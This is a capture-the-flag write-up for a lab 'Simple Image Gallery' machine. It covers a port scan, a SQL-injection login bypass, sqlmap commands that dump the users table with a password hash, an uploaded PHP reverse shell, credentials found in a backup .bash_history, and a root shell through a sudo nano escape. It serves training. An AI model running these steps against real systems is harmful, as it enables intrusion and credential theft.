<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Thu Feb 17 04:55:27 2022 as: nmap -sC -sV -oN nmap.txt 10.10.177.242</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> <span style="color:#ae81ff">10.10.177.242</span>
</span></span><span style="display:flex;"><span>Host <span style="color:#f92672">is</span> up (<span style="color:#ae81ff">0.40</span>s latency)<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">3998</span> closed tcp ports (conn<span style="color:#f92672">-</span>refused)
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">80</span><span style="color:#f92672">/</span>tcp   open  http    Apache httpd <span style="color:#ae81ff">2.4.29</span> ((Ubuntu))
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>server<span style="color:#f92672">-</span>header: Apache<span style="color:#f92672">/</span><span style="color:#ae81ff">2.4.29</span> (Ubuntu)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>title: Apache2 Ubuntu Default Page: It works
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">8080</span><span style="color:#f92672">/</span>tcp open  http    Apache httpd <span style="color:#ae81ff">2.4.29</span> ((Ubuntu))
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> http<span style="color:#f92672">-</span>open<span style="color:#f92672">-</span>proxy: Potentially OPEN proxy<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_Methods supported:CONNECTION
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>server<span style="color:#f92672">-</span>header: Apache<span style="color:#f92672">/</span><span style="color:#ae81ff">2.4.29</span> (Ubuntu)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_http<span style="color:#f92672">-</span>title: Simple Image Gallery System
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> http<span style="color:#f92672">-</span>cookie<span style="color:#f92672">-</span>flags: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>   <span style="color:#f92672">/</span>: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>     PHPSESSID: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>_      httponly flag <span style="color:#f92672">not</span> set
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed<span style="color:#f92672">.</span> Please report any incorrect results at https:<span style="color:#f92672">//</span>nmap<span style="color:#f92672">.</span>org<span style="color:#f92672">/</span>submit<span style="color:#f92672">/</span> <span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Thu Feb 17 05:13:08 2022 -- 1 IP address (1 host up) scanned in 1061.16 seconds</span>
</span></span></code></pre></div><p>This should answer the first question - <code>how many ports are opening</code>.</p>
<p>Going into details, here&rsquo;s what&rsquo;s on port 80.</p>
<p>
  <img src="/img/gallery/apache-default-port-80.png#center" alt="">

</p>
<p>Just a standard <em><strong><code>Apache</code></strong></em> page. There was absolutely nothing abnormal in the source code. Normally we would look for subdirectories or subdomains in times like this, but for now, let&rsquo;s see to port 8080 first:</p>
<p>
  <img src="/img/gallery/default-port-8080.png#center" alt="">

</p>
<p>A simple login form. Testing it against some widely used default credentials, the app did not let us in. Its source code, on the other hand, did have something:

  <img src="/img/gallery/something-on-login-page.png#center" alt="">

</p>
<p>However, <code>/forgot-password.html</code> end point, in fact, returned a standard 404 error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>$ curl http://10.10.69.246/gallery/forgot-password.html
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;404 Not Found&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Not Found&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;The requested URL was not found on this server.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.29 (Ubuntu) Server at 10.10.69.246 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Take another look at browser&rsquo;s <strong>DevTool</strong>, it showed something genuinely noteworthy.</p>
<p>
  <img src="/img/gallery/cms-response.png#center" alt="">

</p>
<p>Embedded in the HTTP response is a SQL query, as if it&rsquo;s tempting us to do a <a href="https://portswigger.net/web-security/sql-injection">SQL injection</a>. From the most basic one first:</p>
<p>
  <img src="/img/gallery/not-work-sqli-1.png#center" alt="">

</p>
<p>&hellip;Well?</p>
<p>
  <img src="/img/gallery/not-work-sqli-2.png#center" alt="">



  <img src="/img/gallery/not-work-sqli-3.png#center" alt="">

</p>
<p>Why didn&rsquo;t it work? Before we continue, can you figure out why?</p>
<p>A bit agonizing, self-doubting and Googling, I realized that it should have been <strong><code>=</code></strong>, not <strong><code>==</code></strong>. The result of a month working in NoSQL fully unveiled before my eyes.</p>
<p>After that slight amendation, the app let us in as <em><code>Administrator</code></em>.</p>
<p>
  <img src="/img/gallery/landing-page.png#center" alt="">

</p>
<h2 id="ii-cme-attack---database">II. CME attack - database</h2>
<span style="color: #696969;"><strong>tl;dr:</strong> Use a public exploit of the CME to get data within the MySQL database.</span>
<p>I looked around in the web app, and even as <em><code>Administrator</code></em>, it didn&rsquo;t exposed anything remarkable. If the vulnerability was not in the content or configuration, it must be in the app itself. Therefore, to no one surprise, several public exploits can be found in no time using <strong>searchsploit</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ searchsploit <span style="color:#e6db74">&#34;Simple Image Gallery&#34;</span>
</span></span><span style="display:flex;"><span>---------------------------------------------- ---------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                |  Path
</span></span><span style="display:flex;"><span>---------------------------------------------- ---------------------------------
</span></span><span style="display:flex;"><span>Joomla Plugin Simple Image Gallery Extended <span style="color:#f92672">(</span> | php/webapps/49064.txt
</span></span><span style="display:flex;"><span>Joomla! Component Kubik-Rubik Simple Image Ga | php/webapps/44104.txt
</span></span><span style="display:flex;"><span>Simple Image Gallery 1.0 - Remote Code Execut | php/webapps/50214.py
</span></span><span style="display:flex;"><span>Simple Image Gallery System 1.0 - <span style="color:#e6db74">&#39;id&#39;</span> SQL In | php/webapps/50198.txt
</span></span><span style="display:flex;"><span>---------------------------------------------- ---------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Results
</span></span></code></pre></div><p>How convenient it is to have a <strong>RCE</strong> PoC right on line 3. However, for some god-know reason, the Python script didn&rsquo;t work for me. As a consequence, we had to manually SQL inject it. Here are the instructed steps:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>Step 1. Login to the application with any verified user credentials
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Step 2. Click on Albums page and select an albums if created or create
</span></span><span style="display:flex;"><span>by clicking on &#34;Add New&#34; on the top right and select the album.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Step 3. Click on an image and capture the request in burpsuite.
</span></span><span style="display:flex;"><span>Now copy the request and save it as test.req .
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Step 4. Run the sqlmap command &#34;sqlmap -r test.req --dbs
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Step 5. This will inject successfully and you will have an information
</span></span><span style="display:flex;"><span>disclosure of all databases contents.
</span></span></code></pre></div><p>At least, that was the initial plan. Everything went <em>smoothly</em> until step 4, when I ran this command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlmap -r test.req --dbs
</span></span></code></pre></div><p>Unexpectedly, I received this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c#" data-lang="c#"><span style="display:flex;"><span><span style="color:#a6e22e">[WARNING]</span> most likely web server instance hasn<span style="color:#960050;background-color:#1e0010">&#39;</span>t recovered yet <span style="color:#66d9ef">from</span> previous timed based payload.
</span></span></code></pre></div><p>For that reason, I had to change the commands a bit. Here is a sequence of <em><strong>sqlmap</strong></em> commands that I ran:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># discover databases</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$</span> sqlmap <span style="color:#f92672">-</span>r test<span style="color:#f92672">.</span>req <span style="color:#f92672">--</span>dbs <span style="color:#f92672">--</span>flush<span style="color:#f92672">-</span>session <span style="color:#f92672">--</span>technique<span style="color:#f92672">=</span>BEUS
</span></span><span style="display:flex;"><span>available databases [<span style="color:#ae81ff">2</span>]:
</span></span><span style="display:flex;"><span>[<span style="color:#f92672">*</span>] gallery_db
</span></span><span style="display:flex;"><span>[<span style="color:#f92672">*</span>] information_schema
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># discover tables</span>
</span></span><span style="display:flex;"><span>sqlmap <span style="color:#f92672">-</span>r test<span style="color:#f92672">.</span>req <span style="color:#f92672">--</span>tables <span style="color:#f92672">-</span>D gallery_db
</span></span><span style="display:flex;"><span>tabase: gallery_db
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">4</span> tables]
</span></span><span style="display:flex;"><span><span style="color:#f92672">+-------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> album_list  <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> images      <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> system_info <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> users       <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+-------------+</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># get columns of a table</span>
</span></span><span style="display:flex;"><span>sqlmap <span style="color:#f92672">-</span>r test<span style="color:#f92672">.</span>req <span style="color:#f92672">--</span>columns <span style="color:#f92672">-</span>D gallery_db <span style="color:#f92672">-</span>T users <span style="color:#f92672">--</span>threads <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>Database: gallery_db                                                                                                                                                                                                                          
</span></span><span style="display:flex;"><span>Table: users                                                                                                                                                                                                                                  
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">10</span> columns]                                                                                                                                                                                                                                  
</span></span><span style="display:flex;"><span><span style="color:#f92672">+--------------+--------------+</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> Column       <span style="color:#f92672">|</span> Type         <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">+--------------+--------------+</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> avatar       <span style="color:#f92672">|</span> text         <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> date_added   <span style="color:#f92672">|</span> datetime     <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> date_updated <span style="color:#f92672">|</span> datetime     <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> firstname    <span style="color:#f92672">|</span> varchar(<span style="color:#ae81ff">250</span>) <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> id           <span style="color:#f92672">|</span> int(<span style="color:#ae81ff">50</span>)      <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> last_login   <span style="color:#f92672">|</span> datetime     <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> lastname     <span style="color:#f92672">|</span> varchar(<span style="color:#ae81ff">250</span>) <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> password     <span style="color:#f92672">|</span> text         <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> type         <span style="color:#f92672">|</span> tinyint(<span style="color:#ae81ff">1</span>)   <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> username     <span style="color:#f92672">|</span> text         <span style="color:#f92672">|</span>                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">+--------------+--------------+</span>   
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># extract data from table</span>
</span></span><span style="display:flex;"><span>sqlmap <span style="color:#f92672">-</span>r test<span style="color:#f92672">.</span>req <span style="color:#f92672">--</span>dump <span style="color:#f92672">-</span>D gallery_db <span style="color:#f92672">-</span>T users <span style="color:#f92672">--</span>threads <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>Database: gallery_db                                                                                                 
</span></span><span style="display:flex;"><span>Table: users
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">1</span> entry]
</span></span><span style="display:flex;"><span><span style="color:#f92672">+----+------+------------------------------------------+----------+-----------------------------------------+----------+--------------+---------------------+------------+---------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> id <span style="color:#f92672">|</span> type <span style="color:#f92672">|</span> avatar                                   <span style="color:#f92672">|</span> lastname <span style="color:#f92672">|</span> password                                <span style="color:#f92672">|</span> username <span style="color:#f92672">|</span> firstname    <span style="color:#f92672">|</span> date_added          <span style="color:#f92672">|</span> last_login <span style="color:#f92672">|</span> date_updated        <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+----+------+------------------------------------------+----------+-----------------------------------------+----------+--------------+---------------------+------------+---------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#ae81ff">1</span>  <span style="color:#f92672">|</span> <span style="color:#ae81ff">1</span>    <span style="color:#f92672">|</span> uploads<span style="color:#f92672">/</span><span style="color:#ae81ff">1629883080_1624240500</span>_avatar<span style="color:#f92672">.</span>png <span style="color:#f92672">|</span> Admin    <span style="color:#f92672">|</span> <span style="color:#ae81ff">0</span>f18fd4cf40bfb1dec646807c7fa5522 (lmao) <span style="color:#f92672">|</span> admin    <span style="color:#f92672">|</span> Adminstrator <span style="color:#f92672">|</span> <span style="color:#ae81ff">2021</span><span style="color:#f92672">-</span><span style="color:#ae81ff">01</span><span style="color:#f92672">-</span><span style="color:#ae81ff">20</span> <span style="color:#ae81ff">14</span>:<span style="color:#ae81ff">02</span>:<span style="color:#ae81ff">37</span> <span style="color:#f92672">|</span> NULL       <span style="color:#f92672">|</span> <span style="color:#ae81ff">2022</span><span style="color:#f92672">-</span><span style="color:#ae81ff">02</span><span style="color:#f92672">-</span><span style="color:#ae81ff">23</span> <span style="color:#ae81ff">08</span>:<span style="color:#ae81ff">55</span>:<span style="color:#ae81ff">43</span> <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+----+------+------------------------------------------+----------+-----------------------------------------+----------+--------------+---------------------+------------+---------------------+</span>
</span></span></code></pre></div><p>That password&hellip; isn&rsquo;t that the very password that I set earlier? It it the answer to a THM question? Was I not supposed to change it?</p>
<p>As a result, I had to restart the machine and run the exact command once again.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>Database: gallery_db
</span></span><span style="display:flex;"><span>Table: users
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">1</span> entry]
</span></span><span style="display:flex;"><span><span style="color:#f92672">+----+------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> id <span style="color:#f92672">|</span> type <span style="color:#f92672">|</span> avatar                                   <span style="color:#f92672">|</span> lastname <span style="color:#f92672">|</span> password                         <span style="color:#f92672">|</span> username <span style="color:#f92672">|</span> firstname    <span style="color:#f92672">|</span> date_added          <span style="color:#f92672">|</span> last_login <span style="color:#f92672">|</span> date_updated        <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+----+------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#ae81ff">1</span>  <span style="color:#f92672">|</span> <span style="color:#ae81ff">1</span>    <span style="color:#f92672">|</span> uploads<span style="color:#f92672">/</span><span style="color:#ae81ff">1629883080_1624240500</span>_avatar<span style="color:#f92672">.</span>png <span style="color:#f92672">|</span> Admin    <span style="color:#f92672">|</span> <span style="color:#f92672">&lt;</span>REDACTED<span style="color:#f92672">&gt;</span>                       <span style="color:#f92672">|</span> admin    <span style="color:#f92672">|</span> Adminstrator <span style="color:#f92672">|</span> <span style="color:#ae81ff">2021</span><span style="color:#f92672">-</span><span style="color:#ae81ff">01</span><span style="color:#f92672">-</span><span style="color:#ae81ff">20</span> <span style="color:#ae81ff">14</span>:<span style="color:#ae81ff">02</span>:<span style="color:#ae81ff">37</span> <span style="color:#f92672">|</span> NULL       <span style="color:#f92672">|</span> <span style="color:#ae81ff">2021</span><span style="color:#f92672">-</span><span style="color:#ae81ff">08</span><span style="color:#f92672">-</span><span style="color:#ae81ff">25</span> <span style="color:#ae81ff">09</span>:<span style="color:#ae81ff">18</span>:<span style="color:#ae81ff">12</span> <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+----+------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+</span>
</span></span></code></pre></div><h2 id="iii-cme-attack---reverse-shell">III. CME attack - reverse shell</h2>
<span style="color: #696969;"><strong>tl;dr:</strong> Upload PHP reverse shell, got reverse shell</span>
<p>This one was disappointingly facile. There was an option to upload the image in the web app, so I tried to upload a standard PHP reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">Pentest Monkey</a>. Then open the image.</p>
<p>Strangely, my long-waited <em>netcat</em> listener received a call back.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>
</span></span></code></pre></div><h2 id="iv-privilege-escalation---user">IV. Privilege escalation - user</h2>
<span style="color: #696969;"><strong>tl;dr:</strong> Escalate to user privilege using credentials in .bash_history</span>
<p>Yes, as you have just read. This fictional user foolishly typed his password into a bash command. You just need to look for it in a back up.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ find / -name <span style="color:#e6db74">&#34;*backup*&#34;</span> 2&gt;/dev/null <span style="color:#75715e"># One of the top commands you should run when you get a shell</span>
</span></span><span style="display:flex;"><span>usr/src/linux-headers-4.15.0-167-generic/include/config/wm831x/backup.h
</span></span><span style="display:flex;"><span>/usr/src/linux-headers-4.15.0-154-generic/include/config/wm831x/backup.h
</span></span><span style="display:flex;"><span>/etc/lvm/backup
</span></span><span style="display:flex;"><span>/var/backups
</span></span></code></pre></div><p>Apparently, we see to <code>/var/backups</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ls /var/backups
</span></span><span style="display:flex;"><span>apt.extended_states.0
</span></span><span style="display:flex;"><span>apt.extended_states.1.gz
</span></span><span style="display:flex;"><span>apt.extended_states.2.gz
</span></span><span style="display:flex;"><span>apt.extended_states.3.gz
</span></span><span style="display:flex;"><span>mike_home_backup
</span></span></code></pre></div><p>What&rsquo;s there in <code>mike_home_backup</code> directory?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ls /var/backups/mike_home_backup
</span></span><span style="display:flex;"><span>accounts.txt
</span></span></code></pre></div><p>Interestingly, this <code>accounts.txt</code> file is just a trap.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$</span> cat accounts<span style="color:#f92672">.</span>txt
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Spotify</span> : mike@gmail<span style="color:#f92672">.</span>com<span style="color:#e6db74">:mycat666</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Netflix</span> : mike@gmail<span style="color:#f92672">.</span>com:<span style="color:#ae81ff">123456789</span>pass
</span></span><span style="display:flex;"><span><span style="color:#e6db74">TryHackme</span>: <span style="color:#e6db74">mike</span>:darkhacker123
</span></span></code></pre></div><p>Ther real credentials lies at <code>/var/backups/mike_home_backup/.bash_history</code>, right here:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat /var/backups/mike_home_backup/.bash_history
</span></span><span style="display:flex;"><span>cat .bash_history
</span></span><span style="display:flex;"><span>cd ~
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>ping 1.1.1.1
</span></span><span style="display:flex;"><span>cat /home/mike/user.txt
</span></span><span style="display:flex;"><span>cd /var/www/
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>cd html
</span></span><span style="display:flex;"><span>ls -al
</span></span><span style="display:flex;"><span>cat index.html
</span></span><span style="display:flex;"><span>sudo -l&lt;REDACTED&gt;
</span></span><span style="display:flex;"><span>clear
</span></span><span style="display:flex;"><span>sudo -l
</span></span><span style="display:flex;"><span>exit
</span></span></code></pre></div><p>See? Now run <code>su mike</code>, enter the password, and see what&rsquo;s left.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mike@gallery:/var/backups/mike_home_backup$ id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>mike<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>mike<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>mike<span style="color:#f92672">)</span>
</span></span></code></pre></div><h2 id="v-privilege-escalation---root">V. Privilege Escalation - root</h2>
<span style="color: #696969;"><strong>tl;dr:</strong> Exploit a script that user can run as root</span>
<p>A second in and I immediately know where to look to:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span>mike@gallery<span style="color:#e6db74">:/</span>var<span style="color:#f92672">/</span>backups<span style="color:#f92672">/</span>mike_home_backup<span style="color:#960050;background-color:#1e0010">$</span> sudo <span style="color:#f92672">-</span>l
</span></span><span style="display:flex;"><span>sudo <span style="color:#f92672">-</span>l
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Matching</span> <span style="color:#66d9ef">Defaults</span> entries <span style="color:#66d9ef">for</span> mike on <span style="color:#e6db74">gallery</span>:
</span></span><span style="display:flex;"><span>    env_reset, mail_badpass,
</span></span><span style="display:flex;"><span>    secure_path<span style="color:#f92672">=</span><span style="color:#e6db74">/usr/</span>local<span style="color:#f92672">/</span>sbin\<span style="color:#e6db74">:/</span>usr<span style="color:#f92672">/</span>local<span style="color:#f92672">/</span>bin\<span style="color:#e6db74">:/</span>usr<span style="color:#f92672">/</span>sbin\<span style="color:#e6db74">:/</span>usr<span style="color:#f92672">/</span>bin\<span style="color:#e6db74">:/</span>sbin\<span style="color:#e6db74">:/</span>bin\<span style="color:#e6db74">:/</span>snap<span style="color:#f92672">/</span>bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">User</span> mike may run the following commands on <span style="color:#e6db74">gallery</span>:
</span></span><span style="display:flex;"><span>    (root) <span style="color:#e6db74">NOPASSWD</span>: <span style="color:#e6db74">/bin/</span>bash <span style="color:#e6db74">/opt/</span>rootkit<span style="color:#f92672">.</span>sh
</span></span></code></pre></div><p>So we can run <em><code>/opt/rootkit.sh</code></em> as root. By the way, we can also read it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>read -e -p <span style="color:#e6db74">&#34;Would you like to versioncheck, update, list or read the report ? &#34;</span> ans;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Execute your choice</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> $ans in
</span></span><span style="display:flex;"><span>    versioncheck<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        /usr/bin/rkhunter --versioncheck ;;
</span></span><span style="display:flex;"><span>    update<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        /usr/bin/rkhunter --update;;
</span></span><span style="display:flex;"><span>    list<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        /usr/bin/rkhunter --list;;
</span></span><span style="display:flex;"><span>    read<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        /bin/nano /root/report.txt;;
</span></span><span style="display:flex;"><span>    *<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        exit;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span></code></pre></div><p>Seems like a script to check for rootkit. Ironically, the script to check for rootkit is a rootkit itself.</p>
<p>Take a look at that <code>read</code> option, do you see that we can run <code>nano</code> as <em><strong>root</strong></em>? According to <a href="https://gtfobins.github.io/gtfobins/nano/#shell">GTFOBins</a>, that much is enough to break out and get a shell.</p>
<p>
  <img src="/img/gallery/gtfobin.png#center" alt="">

</p>
<p>Type exactly that, character-by-character, we broke out of <code>nano</code> and got the root shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span># id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root) groups=0(root)
</span></span><span style="display:flex;"><span># cd /root
</span></span><span style="display:flex;"><span># ls
</span></span><span style="display:flex;"><span>report.txt  root.txt
